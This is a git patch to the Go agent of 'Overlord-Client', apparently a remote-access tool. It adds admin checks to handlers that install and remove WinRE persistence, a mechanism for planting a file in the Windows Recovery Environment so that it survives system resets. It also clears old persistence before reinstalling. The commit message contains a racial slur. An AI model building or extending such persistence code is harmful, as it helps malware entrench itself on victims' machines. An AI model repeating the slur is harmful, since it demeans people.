From 47593a917f0ab975e0d241477a26ba72633e9d23 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Sun, 29 Mar 2026 01:09:55 -0500 Subject: [PATCH] throw back error to server if niggas not admin --- Overlord-Client/cmd/agent/handlers/winre_windows.go | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/Overlord-Client/cmd/agent/handlers/winre_windows.go b/Overlord-Client/cmd/agent/handlers/winre_windows.go index 0b36403..55ec9ef 100644 --- a/Overlord-Client/cmd/agent/handlers/winre_windows.go +++ b/Overlord-Client/cmd/agent/handlers/winre_windows.go @@ -15,6 +15,8 @@ import ( "time" "overlord-client/cmd/agent/runtime" + + "golang.org/x/sys/windows" ) const ( @@ -217,6 +219,8 @@ func addNewPhase(cfg *resetConfig, phaseName, fileName string, duration int) { } func installWinREPersistence(fileBytes []byte, ext string) error { + _ = uninstallWinREPersistence() + if err := createOEMEnvironment(); err != nil { return err } @@ -258,6 +262,10 @@ func uninstallWinREPersistence() error { } func handleWinREInstall(ctx context.Context, env *runtime.Env, cmdID string, filePath string, useSelf bool) error { + if !windows.GetCurrentProcessToken().IsElevated() { + return fmt.Errorf("WinRE persistence requires admin privileges") + } + var fileBytes []byte var ext string @@ -299,5 +307,8 @@ func handleWinREInstall(ctx context.Context, env *runtime.Env, cmdID string, fil } func handleWinREUninstall(ctx context.Context, env *runtime.Env, cmdID string) error { + if !windows.GetCurrentProcessToken().IsElevated() { + return fmt.Errorf("WinRE uninstall requires admin privileges") + } return uninstallWinREPersistence() }